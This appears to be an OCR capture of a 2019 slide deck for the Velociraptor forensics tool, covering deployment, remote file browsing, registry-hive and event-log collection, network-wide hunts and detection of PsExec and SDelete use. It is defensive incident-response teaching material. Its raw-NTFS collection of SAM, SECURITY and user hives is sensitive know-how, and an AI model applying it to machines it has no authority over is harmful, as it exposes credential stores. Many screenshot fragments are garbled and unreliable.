C:\Program Files\Velociraptor≻velociraptor-v0.3.1-windows-4.0-amd64

Welcome to the Velociraptor configuration generator

-----

I will be creating a new deployment configuration for you. I will begin by identifying what type of deployment you need.

#### Self Signed SSL

Generating keys please wait.... 2 Enter the frontend port to listen on. 8000 2 What is the public DNS name of the Frontend (e.g. www.example.com 2 Path to the datastore directory. C:\Users\Nick\AppData\Local\Temp 2 Path to the logs directory. C:\Users\Nick\AppData\Local\Temp 2 Where should i write the server config file? server.config.yaml 2 Where should i write the client config file? client.config.yaml 2 GUI Username or email address to authorize (empty to end): nick 3 GUI Username or email address to authorize (empty to end):

C:\Program Files\Velociraptor≻dir Volume in drive C has no label. Volume Serial Number is 0CF9-8FE5

Directory of C:\Program Files\Velociraptor

07/23/2019 09:09 AM <DIR> . 07/23/2019 09:09 AM <DIR> . 07/23/2019 09:09 AM <DIR> . 07/23/2019 09:09 AM 1,959 client.config.yaml 07/23/2019 09:09 AM 10,337 server.config.yaml 07/15/2019 12:00 AM 32,105,280 velociraptor-v0.3.1-windows 3 File(s) 32,117,576 bytes 2 Dir(s) 84,104,568,832 bytes free

C:\Program Files\Velociraptor>

Administrator: Command Prompt - velociraptor-v0.3.1-windows-4.0-amd64.exe --config server.config.yaml frontend -v

Server se velociraptor-v0.3.1-windows-4.0-amd64.exe --config server.config.yaml frontend -v

Administrator: Command Prompt

:\Program Files\Velociraptor>velociraptor-v0.3.1-windows-4.0-amd6

Welcome to the Velociraptor configuration generator

I will be creating a new deployment configuration for you. I will begin by identifying what type of deployment you need.

Generating keys please wait.... Enter the frontend port to listen on. 8000 What is the public DNS name of the Frontend (e.g. www.example.com Path to the datastore directory. C:\Users\Nick\AppData\Local\Tem Path to the logs directory. C:\Users\Nick\AppData\Local\Temp Where should i write the server config file? server.config.yaml Where should i write the client config file? client.config.yaml GUI Username or email address to authorize (empty to end): nick GUI Username or email address to authorize (empty to end):

C:\Program Files\Velociraptor>dir Volume in drive C has no label. Volume Serial Number is 0CF9-8FE5

Directory of C:\Program Files\Velociraptor

07/23/2019 09:09 AM <DIR> 07/23/2019 09:09 AM <DIR> 1,959 client.config.yaml 07/23/2019 09:09 AM 10,337 server.config.yaml 07/23/2019 09:09 AM 07/15/2019 12:00 AM 32,105,280 velociraptor-v0.3.1-windows 3 File(s) 32,117,576 bytes 2 Dir(s) 84,104,568,832 bytes free

C:\Program Files\Velociraptor>

### Start the server



 $\times$ 

Administrator: Command Prompt - velociraptor-v0.3.1-windows-4.0-amd64.exe --config server.config.yaml frontend -v

C:\Program Files\Velociraptor<mark>>velociraptor-v0.3.1-windows-4.0-amd64.exe --config server.config.yaml frontend -v</mark>

### Start the server

🔤 Administrator: Command Prompt

C:\Program Files\Velociraptor≻velociraptor-v0.3.1-windows-4.0-amd64

Welcome to the Velociraptor configuration generator

-----

I will be creating a new deployment configuration for you. I will begin by identifying what type of deployment you need.

#### Self Signed SSL

Generating keys please wait.... 2 Enter the frontend port to listen on. 8000 2 What is the public DNS name of the Frontend (e.g. www.example.com 2 Path to the datastore directory. C:\Users\Nick\AppData\Local\Temp 2 Path to the logs directory. C:\Users\Nick\AppData\Local\Temp 2 Where should i write the server config file? server.config.yaml 2 Where should i write the client config file? client.config.yaml 2 GUI Username or email address to authorize (empty to end): nick 3 GUI Username or email address to authorize (empty to end):

C:\Program Files\Velociraptor≻dir Volume in drive C has no label. Volume Serial Number is 0CF9-8FE5

Directory of C:\Program Files\Velociraptor

07/23/2019 09:09 AM <DIR> . 07/23/2019 09:09 AM <DIR> . 07/23/2019 09:09 AM <DIR> . 07/23/2019 09:09 AM 1,959 client.config.yaml 07/23/2019 09:09 AM 10,337 server.config.yaml 07/15/2019 12:00 AM 32,105,280 velociraptor-v0.3.1-windows 3 File(s) 32,117,576 bytes 2 Dir(s) 84,104,568,832 bytes free

C:\Program Files\Velociraptor>

https://localhost:8889	× +				- 0 X	
← → × ▲ Not secu	ire https://localhost:8889	1		1	☆ 🕚 :	g.yaml frontend -v — — — ×
		Sign in				config server.config.yaml frontend -v
		https://locall	host:8889			. <del>1722.13.59+10.00","commit"."f52fb0a","ver</del> sion":"0
		Username	nick			7.0.0.1:8003
C:A.		Password				ests at 0.0.0.8000
C:\F						:nAddr":"127.0.0.1:8889"}
2 Welc			Sign in Cancel			,
I w: beg:						nitor.Health/Prometheus
Se						ric.Client.Stats
Gene						iows.events.processcreation
2 Wł						
2 Pa						
2 Wł						
? Gl						
C:\I						
Vo. Vo.						
Dir						
07/2						
07/1 07/1						
07/1 07/13/2019 12:00 All	JZ,103,200 VCIUCI: a	0.01-10.0	• T - MTUMAAA			
3 File(s) 2 Dir(s)	32,117,576 bytes 84,104,568,832 bytes f	ree				~
C:\Program Files\Velocir	aptor>					



# Client deployment

Administrator: Command Prompt - velociraptor-v0.3.1-windows-4.0-amd64.exe --config client.config.yaml client -v

C:\Program Files\Velociraptor>velociraptor-v0.3.1-windows-4.0-amd64.exe --config client.config.yaml client -v Genering new private key....

[INFO] 2019-07-23T09:13:17Z Starting Crypto for client C.388fdf98a6f26ee7

[INFO] 2019-07-23T09:13:17Z Expecting self signed certificate for server.

[INFO] 2019-07-23T09:13:17Z Starting HTTPCommunicator: [https://localhost:8000/]

[INFO] 2019-07-23T09:13:17Z Received PEM for VelociraptorServer from https://localhost:8000/

[INFO] 2019-07-23T09:13:17Z Receiver: Connected to https://localhost:8000/reader

[INFO] 2019-07-23T09:13:17Z Enrolling

[INF0] 2019-07-23T09:13:18Z Sender: Connected to https://localhost:8000/control

[INF0] 2019-07-23T09:13:18Z Receiver: Connected to https://localhost:8000/reader

[INFO] 2019-07-23T09:13:18Z Receiver: sent 706 bytes, response with status: 200 OK

[INF0] 2019-07-23T09:13:18Z Received request: session\_id:"aff4:/clients/C.388fdf98a6f26ee7/flows/F.BKRCVBM00EUQI" reques t\_id:1 name:"VQLClientAction" args:"\022t\n0SELECT Version.Name AS Name, Version.BuildTime AS BuildTime, Labels FROM con fig\022!\$87db0da2fd096b521cb9b5d5c81f3703\022\202\001\n]SELECT Hostname, OS, Architecture, Platform, PlatformVersion, Ke rnelVersion, Fqdn FROM info()\022!\$6e1133aac9fdd628ba0f53e306c5230a\022\257\001\n\211\001SELECT ut\_type, ut\_id, ut\_host AS Host, ut\_user AS User, timestamp(epoch=ut\_tv.tv\_sec) AS login\_time FROM users() WHERE ut\_type =~ \"USER\"\022!\$4eee8a 62372348cde786643b755da963" source:"VelociraptorServer" auth\_state:AUTHENTICATED args\_rdf\_name:"VQLCollectorArgs" task\_i d:1563873198592560 client\_type:VELOCIRAPTOR

[INFO] 2019-07-23T09:13:18Z Received request: session id:"aff4:/clients/C.388fdf98a6f26ee7/flows/F.Monitoring" request i d:1 name:"UpdateEventTable" args:"\n\216\003\022\376\001\n\373\001LET Generic Client Stats 0 0=SELECT \* FROM foreach(row { SELECT UnixNano FROM clock(period=atoi(string=Frequency))}, query= { SELECT UnixNano / 1000000000 AS Timestamp, Time s.user + Times.system AS CPU, MemoryInfo.RSS AS RSS FROM pslist(pid=getpid)})\022k\n&SELECT \* FROM Generic Client Stats 0\_0\022A\$f3b4a0e31fdc6348b190720565bd2c7e616b04d8855e692206f9fbd4453f5c83\032\017\n\tFrequency\022\002100d\305\001\000\0 00\310B\310\001\200\224\353\334\003\n\304\010\022^\n\\LET precondition Windows Events ProcessCreation 0=SELECT OS FROM : nfo() WHERE OS = \"windows\"\022\376\004\n\373\004LET Windows Events ProcessCreation 0 0=SELECT timestamp(epoch=atoi(str ing=Parse.TIME CREATED) / 10000000 - 11644473000) AS Timestamp, Parse.ParentProcessID AS PPID, Parse.ProcessID AS PID, F arse.ProcessName AS Name, { SELECT CommandLine FROM wmi(query=\"SELECT \* FROM Win32\_Process WHERE ProcessID = \" + forma t(format=\"%v\", args=Parse.ProcessID), namespace=\"ROOT/CIMV2\") } AS CommandLine, { SELECT CommandLine FROM wmi(query= "SELECT \* FROM Win32 Process WHERE ProcessID = \" + format(format=\"%v\", args=Parse.ParentProcessID), namespace=\"ROOT /CIMV2\") } AS ParentInfo FROM wmi events(query=eventQuery, wait=5000000, namespace=\"ROOT/CIMV2\")\022\267\001\nrSELECT \* FROM if(then=Windows\_Events\_ProcessCreation 0\_0, condition=precondition\_Windows\_Events\_ProcessCreation\_0)\022A\$9d8611 f50fbfa2ae4f1c430341177528f0e17483bcb92c3e464141cf521252aa\032c\n\010wmiQuery\022WSELECT \* FROM InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32\_Process'\0323\n\neventQuery\022%SELECT \* FROM Win32 ProcessStartTrace0d\305\001 \000\000\310B\310\001\200\224\353\334\003\020\001" source:"VelociraptorServer" auth state:AUTHENTICATED args rdf name:"\ QLEventTable" task\_id:1563873198618607 client\_type:VELOCIRAPTOR

[INFO] 2019-07-23T09:13:18Z Starting \$f3b4a0e31fdc6348b190720565bd2c7e616b04d8855e692206f9fbd4453f5c83

[INFO] 2019-07-23T09:13:18Z Starting \$9d8611f50fbfa2ae4f1c430341177528f0e17483bcb92c3e464141cf521252aa

[INFO] 2019-07-23T09:13:19Z Sender: Connected to https://localhost:8000/control

[INFO] 2019-07-23T09:13:19Z Sender: sent 1491 bytes, response with status: 200 OK

[INFO] 2019-07-23T09:13:19Z Receiver: Connected to https://localhost:8000/reader

Use your deployment method of choice. Recommend a signed MSI for Windows.



# You're ready to go



Clients have a persistent connection to the server. They're awaiting your commands.



15

# Scenerio: Data collection

0

© Velocidex Enterprises 2019 / www.velocidex.com

# Browse remote computers

- File system via OS
- File system via raw access
- Windows Registry
   Collected artefacts

훷 Velociraptor   C.388fdf98a6f26ee	Velociraptor   C.388fdf98a6f26ee × +							
← → C ▲ Not secure	→ C A Not secure   https://localhost:8889/app.html#/clients/C.388fdf98a6f26ee7/vfs/							
Velocidex-01 Q Velocidex-01 Oconnected								
☆ C file C ntfs								
💠 🕀- 🗀 registry	Mode	Name						
🔑 🗀 artifacts	drwxrwxrwx	file						
	drwxrwxrwx	ntfs						
_	drwxrwxrwx	registry						
	drwxrwxrwx	artifacts						
3								
A	Please select a file or a folder to see its details here.							

← → C ▲ Not secure   https://localho	nost:8889/app.html#/clients/C.388fdf98a6	f26ee7/vfs///file/C%2	253A/			☆ 🕚 :
ysten ≡ velocidex-01 S velocidex-01 S sRecycle.Bin	Velocidex-01  connected  file > C:					0 nick
S OWS COWS CTCED CCTED CCTED CCTED COMS CCTED COMS CCTED CCTED COMS CCTED	/file/C: @ 2019-07-23 09:19:32         Download       Name         \$Recycle.Bin         BOOTNXT         BOOTSECT.BAK         Boot         Documents and Settings         NLog.config         > file > C: > \$Recycle.Bin         Stats         TextView         Click on a file in the table above.	UTC         Size         0         1         8192         0         0         837	Mode drwxrwxrwx -rw-rw-rw- -rr drwxrwxrwx Lrw-rw-rw- -rw-rw-rw- Reports	mtime         2019-07-23T09:01:41Z         2019-04-12T19:00:40Z         2019-04-12T19:07:04Z         2019-04-12T19:07:03Z         2017-02-03T03:30:15Z         2018-12-12T17:59:36Z	atime         2019-07-23T09:01:41Z         2019-04-16T02:08:53Z         2019-04-16T02:08:53Z         2019-07-04T01:11:03Z         2017-02-03T03:30:15Z         2019-05-01T23:51:16Z	ctime         2016-07-16T11:47:47Z         2016-07-16T12:58:19Z         2017-02-03T03:23:36Z         2017-02-03T03:23:33Z         2017-02-03T03:30:15Z         2018-12-13T21:56:57Z

a

R

a

1 2019-07-23 09:17:00 UTC



€ ×	elociraptor   C.d504fae95fdb7f3 × + C A Not secure   https://localho	ost:8889/app.htn	nl#/clients/C.d504fae95fdb7f3f/vfs///ntfs/%255C%255C.%255CC%25	3A/Users/Nick,	• • • • •		-	- ¤ ×	- 0	×		
	Search Box Q Search Box Sear	Velocidex-0	My Documents NTUSER.DAT	48	drwxr- xr-x -rwxr- xr-x	2019-07- 23T09:01:35Z 2019-04- 19T16:59:23Z	2019-07- 23T09:01:35Z 2019-07- 23T09:01:35Z	0 nick 2019-07- 23T09:01:35Z 2019-04- 12T19:00:20Z	☆ 4 0 2019-07- Z 23T09:01	nick 35Z	- □ × ★ € : □ nick	
	<ul> <li>Program Files (x86)</li> <li>ProgramData</li> <li>Recovery</li> <li>SYSTEM~1</li> <li>System Volume Information</li> <li>Users</li> </ul>	> ntfs >	NTUSER.DAT{4f913eb8-5d56-11e9-a4db-000c290815ee}.TM.blf NTUSER.DAT{4f913eb8-5d56-11e9-a4db- 000c290815ee}.TMContainer000000000000000000001.regtrans-ms //_/C: > Users > Nick > NTUSER.DAT	65536 524288	-rwxr- xr-x -rwxr- xr-x	2019-07- 23T09:01:35Z 2019-07- 23T09:01:35Z	2019-07- 23T09:01:35Z 2019-07- 23T09:01:35Z	2019-07- 23T09:01:35Z 2019-07- 23T09:01:35Z	Z 2019-04- 12T19:00 Z 2019-07- 23T09:01 Z 2019-07- Z 23T09:01	20Z 35Z 35Z 6-1 6-1	07-16T11:47:47Z 07-16T12:58:19Z	
Ä	ALLUSE~1      All Users      DEFAUL~1      Default      Default User      Nick	Stats	TextView HexView CSVView Reports ers\Nick\NTUSER.DAT Size 1048576 Mode -rwxr-xr-x Mtime 2019-04-19T16-59:237	Properties	name_	mft 26562-12 type DOS+Wi	28-4 n32			7-( 7-( 8-	02-03T03:23:36Z 02-03T03:23:33Z 02-03T03:30:15Z 12-13T21:56:57Z	•
	D Objects      DOBJE~1      APPLIC~1      AppData      Application Data      Contacts		Atime         2019-07-23T09:01:35Z           Ctime         2019-04-12T19:00:20Z           Last Collected         2019-07-24 15:26:27 UTC ▲Download           Fetch from Client         Collect from the client							ŀ		]
ar		•			<u>~ ~~ /</u>		2019-	07-24 15:35:52 U 2	▶ <sup>•</sup> 019-07-24 15:36	• 6:20 UTC		
										20	19-07-23 09:20:28 UT	TC 

 $\bullet$ 

# Collecting evidence from a single endpoint

We can collect all user hives from a single computer with a VQL artefact.

This simple VQL artefact enumerates all users, then collects all their user hives.



# Collecting evidence from a single endpoint

We can collect all user hives from a single computer with a VQL artefact.

This simple VQL artefact enumerates all users, then collects all their user hives.

鮼 Velocira	ptor   View Artifacts × +			– 0 ×
$\leftrightarrow$ $\rightarrow$ c	Not secure   https://	localhost:8889/app.html#/view_artifacts		☆ 🕚 :
Ξ 훷	Search Box	Q		0 nick
* +	• 🖋 🛍			
بر ۲	Windows.Registry.NTUser Windows.Registry.NTUser.Up	pload	Windows.Registry.NTUser.Upload	
		Source 1 LET users = SELECT 2 FROM Artifact.W 3 WHERE Directory 4 SELECT upload(file= 5 acces 6 FROM users 7 8	Name, Directory as HomeDir Windows.Sys.Users() // ="\\\\.\\" + HomeDir + "\\ntuser.dat", ssor="ntfs") as Upload	nsists of a registry hive t in. TFS parsing. We then just

# Customise a collection artefact

Focussing on a known compromised account

2	Velociraptor   View Artifacts	× +	– 0 ×
÷	→ C 🔺 Not sec	ure   https://localhost:8889/app.html#/view_artifacts	☆ 👶 :
	Search Box	Add/Modify an artifact Add/Modify an artifact 1 name: Custom.Windows.Registry.NTUser.Upload 2 description:   3 This artifact collects the NTUser.dat registry hive of our known compromised service account. 4 5 - sources: 6 precondition:   7   SELECT OS From info() where OS = 'windows' 8 - queries: 9   10 - LET users = SELECT Name, Directory as HomeDir 11   FROM Artifact.Windows.Svs_Users() 12   WHERE Directory AND Name =~ "backupaccount" 13 14 -   15 - SELECT upload(file=expand(path=HomeDir) + "\\ntuser.dat", 16   accessor="ntfs") as Upload 17   FROM users	0 nick
		Save Artifact	

# Customise a collection artefact

Focussing on a known compromised account

1	Velociraptor   View Artifacts	×	+	- 0	×
←	→ C ▲ Not sec	ure   <del>htt</del> j	ps://localhost:8889/app.html#/view_artifacts	\$	) :
	Velociraptor   View Artifacts → C A Not sect Search Box + Intuser Windows.Regis Windows.Regis	X ure   http Add/N 1 2 3 4 5 6 7 7 8 0 16 17 18	+ ex/localhost8889/app.html#/view_artifacts  Velocidex.01 connected  Addify an artifact  This artifact collects the NTUser.Upload  description:        sources:      - precondition:        stuffact of the NTUser.dat registry hive of our known compromised service account.  sources:      - precondition:        stuffact of the NTUser.dat registry hive of our known compromised service account.  sources:      - precondition:        stuffact  AND Name =~ "backupaccount"      fROM users      save Artifact	n consists of a registry h ged in. w NTFS parsing. We the	ive en just

## Collecting all OS and user Registry hives

2

 $\equiv$ 

**^** 

¢

P

۲

Ä

A Not secure https://localhost:8889/app.html#/c	lients/C.d504fa	e95fdb7f3f/flows		*
	includy clabo ind			
Search Box Q Velocidex-01	connected			0
m An A				
low Artifact Collection Colect Artif	acta ta a	allaat		Line X
New ARTITACE COTTECTION - SETECT ARTIT		Sliect		lick
reaistry		Collect the operat	ting system and all user Registry hives.	
Windows.Registry.UserAssist		Credits: Thanks t	o Eric Zimmerman (@EricRZimmerman) for allowing us to leverage his work on	
Windows.Sys.AppcompatShims		Registry file locati References: https	ions. s://github.com/EricZimmerman/KapeFiles	lici
Windows.Sys.Users		Parameters		id
Windows.System.Amcache				ic
Windows.Triage.Collectors.RegistryHives		name	triage lable	ic
			Type,Accessor,Glob ntuser.dat registry hive,ntfs,C:\Documents and Settings\*\ntuser.dat ntuser.dat registry hive,ntfs,C:\Users\*\ntuser.dat	
Selected Artifacts:	Add		ntuser.dat registry transaction files,ntfs,C:\Documents and	
Use "Add" button or double-click to add artifacts to the list.			files,ntfs,C:\Users\*\ntuser.dat.LOG* UsrClass.dat registry	
			hive,ntfs,C:\Users\*\AppData\Local\Microsoft\Windows\UsrClass.dat UsrClass.dat registry transaction	
			files,ntfs,C:\Users\*\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG*	
			files,ntfs,C:\Windows\System32\config\SAM.LOG* SECURITY registry	
			transaction files,ntfs,C:\Windows\System32\config\SECURITY.LOG* SYSTEM registry transaction	
			files,ntfs,C:\Windows\System32\config\SYSTEM.LOG* SAM registry	

2019-07-26 03:54:39 UTC

Next

## Collecting all OS and user Registry hives

8

				-	D	×
C A Not secure https://loca	lhost:8889/app.html#/clients/C.d504fae	95fdb7f3f/flows		z	7	• •
Search Box	Velocidex-01  Connected				0	nick
+ 🛍 🗘 💠						reator
Intervention       Intervention         Step 1 out of 2       registry         Windows.Registry.UserAssist       Windows.Sys.AppcompatShims         Windows.Sys.Users       Windows.System.Amcache	Collect the operating s Credits: Thanks to Eric Registry file locations. References: https://git	system and all c Zimmerman ( hub.com/EricZ	user Registry hives. @EricRZimmerman) for allowing us to leverage immerman/KapeFiles	e his	wo	rk on
Windows.Triage.Collectors.Registr	ryHives	hane	Type Accessor Glob ntuser dat registry hive ntfs C:\Documents and		i	ick ,

2019-07-26 03:54:39 UTC

## Collecting all OS and user Registry hives

8

A Not secure   https://local	nost:8889/app.html#/clients/C.d504fae95f	db7f3f/flows	1		
Search Box C	Velocidex-01 Connected			0	I
▶ @ @ ♦					
				Cr	ea
New Artifact Collectio					
Step 1 out of 2	Collect the operating sys	tem and all user Registry hives			
registry	consol are operating bye	ter and an about region, in oo.			
Windows.Registry.UserAssist	Credits: Thanks to Eric Z	/immerman (@EricRZimmerman) for allowing us to lev	erage his	wor	rk
Windows.Svs.AppcompatShims			-		
,	Registry file locations.				
Windows.Sys.Users	Registry file locations. References: https://githu	b.com/EricZimmerman/KapeFiles	Pares		
Windows.System.Amcache	Registry file locations. References: https://githu	b.com/EricZimmerman/KapeFiles		-	
Windows.Sys.Users Windows.System.Amcache Windows.Triage.Collectors.Registr	Registry file locations. References: https://githu	b.com/EricZimmerman/KapeFiles	A	ic	-k
Windows.Sys.Users Windows.System.Amcache Windows.Triage.Collectors.Registr	Registry file locations. References: https://githu	b.com/EricZimmerman/KapeFiles	Dat	uic	-k
Windows.Sys.Users Windows.System.Amcache Windows.Triage.Collectors.Registry Selected Artifacts:	Registry file locations. References: https://githu /Hives	b.com/EricZimmerman/KapeFiles		ic	.k
Windows.Sys.Users Windows.System.Amcache Windows.Triage.Collectors.Registr Selected Artifacts: Use "Add" button or double-click to	Registry file locations. References: https://githu (Hives Add add artifacts to the list.	b.com/EricZimmerman/KapeFiles	De T	lic	× k
Windows.Sys.Users Windows.System.Amcache Windows.Triage.Collectors.Registr Selected Artifacts: Use "Add" button or double-click to	Registry file locations. References: https://githu /Hives Add add artifacts to the list.	b.com/EricZimmerman/KapeFiles	0	lic	× k
Windows.Sys.Users Windows.System.Amcache Windows.Triage.Collectors.Registr Selected Artifacts: Use "Add" button or double-click to	Add artifacts to the list.	b.com/EricZimmerman/KapeFiles		iic	
Windows.Sys.Users Windows.System.Amcache Windows.Triage.Collectors.Registr Selected Artifacts: Use "Add" button or double-click to	Registry file locations. References: https://githu /Hives	b.com/EricZimmerman/KapeFiles name triage lable Type,Accessor,Glob ntuser.dat registry h Settings\*\ntuser.dat ntuser.dat registry h ntuser.dat registry transaction files,ntfs,C Settings\*\ntuser.dat.LOG* ntuser.dat regi files,ntfs,C:\Users\*\AppData\Local\Microsoft UsrClass.dat registry transaction files,ntfs,C:\Users\*\AppData\Local\Microsoft\Windov. SAM registry transaction files,ntfs,C:\Windows\System32\config\SAM.LOG* SECURITY regis	LoG*	ic	× k
Windows.Sys.Users Windows.System.Amcache Windows.Triage.Collectors.Registr Selected Artifacts: Use "Add" button or double-click to	Add artifacts to the list.	b.com/EricZimmerman/KapeFiles name triage lable Type,Accessor,Glob ntuser.dat registry h Settings\*\ntuser.dat ntuser.dat registry h ntuser.dat registry transaction files,ntfs,C Settings\*\ntuser.dat.LOG* ntuser.dat regi files,ntfs,C:\Users\*\AppData\Local\Microsoft UsrClass.dat registry transaction files,ntfs,C:\Users\*\AppData\Local\Microsoft\Window SAM registry transaction files,ntfs,C:\Windows\System32\config\SAM.LOG* SECURITY.LOG* SYSTEM registry transaction	Log*	ic	- <b>k</b>
Windows.Sys.Users Windows.System.Amcache Windows.Triage.Collectors.Registr Selected Artifacts: Use "Add" button or double-click to	Registry file locations. References: https://githu /Hives	b.com/EricZimmerman/KapeFiles name triage lable Type,Accessor,Glob ntuser.dat registry h Settings\*\ntuser.dat ntuser.dat registry h ntuser.dat registry transaction files,ntfs,C Settings\*\ntuser.dat.LOG* ntuser.dat.registry files,ntfs,C:\Users\*\AppData\Local\Microsoft\Windo. SAM registry transaction files,ntfs,C:\Users\*\AppData\Local\Microsoft\Windo. SAM registry transaction files,ntfs,C:\Windows\System32\config\SAM.LOG* SECURITY regis transaction files,ntfs,C:\Windows\System32\config\SYSTEM.LOG* SAM registry files,ntfs,C:\Windows\System32\config\SYSTEM.LOG* SAM registry files,ntfs,C:\Windows\System32\config\SYSTEM.LOG* SAM registry files,ntfs,C:\Windows\System32\config\SYSTEM.LOG* SAM registry files,ntfs,C:\Windows\System32\config\SYSTEM.LOG* SAM registry	try	ic	× k

2019-07-26 03:54:39 UTC

Next

## Any artifact that can be collected on a single computer, can be hunted across the network





# Extending collection across the network

- A hunt can cover a group of clients, or the whole network
- A hunt will continue running until it expires, or is stopped
- As new machines appear, they automatically join the hunt

elociraptor   Hunts × +				- 6	) ×
C A Not secure   https://localhost:8889/app.html#/	hunts			☆	•
Search Box Q Velocidex-01				0	nick
+ > =					
New Hunt - Select Artifacts to colle	ct	1		х	or
triage		Collect event log f	iles.		
Windows.Triage.Collectors.Edge	<b>^</b>	Parameters			
Windows.Triage.Collectors.EventLogs		name	EventLogGlobs		
Windows.Triage.Collectors.EventTraceLogs		default	C:\Windows\system32\config\*.evt,C:\Windows\system32\winevt\logs\*.evtx		
Windows.Triage.Collectors.EvidenceOfExecution				- 1	
Windows.Triage.Collectors.Firefox	-	Artifact Sources			
Selected Artifacts:	Add	Precodition			
Windows.Registry.NTUser.Upload		Queries			
Windows.Analysis.EvidenceOfExecution		SELECT * FROM	Artifact.Triage.Collection.Upload(		
Windows.Triage.Collectors.InternetExplorer		type="Even path=split	tLogs", (string=EventLogGlobs, sep="."))		-
			(		
Claar	Remove				
Olda	Remove				

# Extending

A hunt can cove a group of clients, or the whole network
A hunt will continue runnir until it expires, or is stopped

 As new machine appear, they automatically join the hunt

triage windows. mage.coilectors.cnrome		work
Windows.Triage.Collectors.Edge		
Windows.Triage.Collectors.EventLogs		
Windows.Triage.Collectors.EventTraceLogs		
Windows.Triage.Collectors.EvidenceOfExecution		
Windows.Triage.Collectors.Firefox	-	
elected Artifacts:	Add	
Windows.Registry.NTUser.Upload		fig\*.evt,C:\Windows\system32\
Windows.Analysis.EvidenceOfExecution		
Windows.Triage.Collectors.InternetExplorer		
		.Upload( ',"))
Clear	Remove	



# Scenario: Finding files

٥

© Velocidex Enterprises 2019 / www.velocidex.com

# The file finder artefact

Ξ

- Use raw NTFS access to bypass file system locks
- Use wildcards to 'glob' over directories
- Use Yara to search the contents of files
- Filter by modified or created dates
- Upload matching files to the server for further analysis.
- A great starting point for making your own collection artefacts.

1	Velociraptor   C.d504fae95fdb7f3 × +					
←	$\rightarrow$	C A Not secure   https://localhost:8889/app.html#/client	s/C.d504fae95fdb7f3f/flows	☆		:
Ξ	2	Search Box Q Velocidex-01 🕞 co	nnected	0		nick
*		+ • •				
¢	St	New Artifact Collection - Select Artifac	ts to collect	X	Crea lick lick	tor
		Clear	Remove		iick iick	
		SearchFilesGlob Keywords	C:\Users\**		iick iick	
ີ ຈ	:	Use_Raw_NTFS			iick	
J Ä		Upload_File		-		
		MoreRecentThan	2019-07-15			
		ModifiedBefore				
		Ops/Sec Maximum Time 600			·	
				Next		

# Scenario: Hunt for forensic evidence

٥

© Velocidex Enterprises 2019 / www.velocidex.com

# Hunt for use of SysInternals tools

- Some attackers use SysInternals tools
- These require accepting a EULA on first use
- This modifies a key in the user's Registry
- This Registry key can be a great malicious indicator

© Velocidex Enterprises 2019 / www.velocidex.com

## This dodgy user has run *PsExec* and *SDelete*

2	Velocira	ptor   C.d504fae95fdb7f3  X	+		—		<		
←	→ C A Not secure   https://localhost:8889/app.html#/clients/C.d504fae95fdb7f3f/flows								
Ξ	Search Box Q Velocidex-01 G connected								
*	+								
¢	State	FlowId	Artifacts Collected	Creation Time	Last Active	Creator			
an C	~	F.BKSCPSA1A2TPK	Windows.Registry.Sysinternals.Eulacheck	2019-07-24 21:26:09 UTC	2019-07-24 21:26:10 UTC	nick			
	✓ F.BKSCOH6HQTBFC		Windows.Registry.Sysinternals.Eulacheck	2019-07-24 21:23:16 UTC	2019-07-24 21:23:17 UTC	nick			
	×	F.BKSB10KH5PUF8	Windows.Registry.Sysinternals.Eulacheck	2019-07-24 19:26:26 UTC	2019-07-24 19:26:27 UTC	nick			
	<ul> <li>✓</li> </ul>	F.BKS7H8NO8MNQG	VFSDownloadFile	2019-07-24 15:26:26 UTC	2019-07-24 15:26:27 UTC	nick			
	~	F.BKS7GSG9ETOBG	VFSListDirectory	2019-07-24 15:25:38 UTC	2019-07-24 15:25:39 UTC	nick			
L	Artifact Collection Uploaded Files Requests Results Log Reports								
3 Windows.Registry.Sysinternals.Eulacheck							<u>_</u>		

#### Windows.Registry.Sysinternals.Eulacheck

Ä

Show 10 • entries	Search:							
ProgramName 🔺	Кеу	*	TimeAccepted	*	User		EulaAccept	ed  🍦
PsExec	HKEY_USERS\S-1-5-21-1552841522-3835366585-4197357653-1002\Software\Sysinternals\PsExec		2019-07-24T21:24:03Z		Nick	1		
SDelete	HKEY_USERS\S-1-5-21-1552841522-3835366585-4197357653-1002\Software\Sysinternals\SDelete		2019-07-24T19:27:19Z		Nick	1		
Showing 1 to 2 of 2 er	tries				I	Previous	s 1	Next

2019-07-24 21:27:11 UT



## This dodgy has run Pst and SDelet

PsExec

SDelete

	1	Velociraptor   C.d504fae95fdb7f3 X	+				_	D	×
	←	→ C ▲ Not secure   http:	s://localhost:8889/app.html#/clients/C.d504fae95fdb7f3f/	flows				☆ .	. :
-	Ξ	Search Box	Q Velocidex-01  connected					0	nick
	*	+ 🛍 🗠 💠							
	¢	State FlowId	Artifacts Collected	Creation Time	e	Last Active		Ci	reator
	an C	✓ F.BKSCPSA1A2TPK	Windows.Registry.Sysinternals.Eulacheck	2019-07-24 2	1:26:09 UTC	2019-07-24 21	:26:10 UTC	nie	ck
		✓ F.BKSCOH6HQTBFC	Windows.Registry.Sysinternals.Eulacheck	2019-07-24 2	1:23:16 UTC	2019-07-24 21	:23:17 UTC	ni	ck
		✓ F.BKSB10KH5PUF8	Windows.Registry.Sysinternals.Eulacheck	2019-07-24 19	26:26 UTC	2019-07-24 19	:26:27 UTC	nie	ck
		F.BKS7H8NO8MNQG	VFSDownloadFile	2019-07-24 1	5:26:26 UTC	2019-07-24 15	:26:27 UTC	ni	ck
		✓ F.BKS7GSG9ETOBG	VFSListDirectory	2019-07-24 1	5:25:38 UTC	2019-07-24 15	:25:39 UTC	ni	ck
PsExec elete	۲ ۲	Artifact Collection Uploade Windows.Registry.Sysinternals Windows.Registry Show 10 • entries	ed Files Requests Results Log Reports Eulacheck rry.Sysinternals.Eulacheck			Search: [			·
		ProgramName 🔺 Key	/		♦ TimeAccep	ted 🍦 U	lser  EulaAco	epted	*
HKEY_USERS\S-1-5-21-155284152	22-3	835366585-4197357653	3-1002\Software\Sysinternals\PsExec	2019-07-24T2	1:24:03Z	Nick	1		
HKEY_USERS\S-1-5-21-155284152	22-3	835366585-4197357653	3-1002\Software\Sysinternals\SDelete	2019-07-24T1	9:27:19Z	Nick	1		
							2019-07	-24 21:2	27:11 U

© Velocidex Enterprises 2019 / www.velocidex.com



## **Windows Forensic Analysis** OSTER — —

You Can't Protect What You Don't Know About

digital-forensics.sans.org

Poster Created by Rob Lee with support of the SANS DFIR Faculty 02018 Rob Lee. All Rights Reserved.

## **Windows Artifact Analysis: SANS** Evidence of...

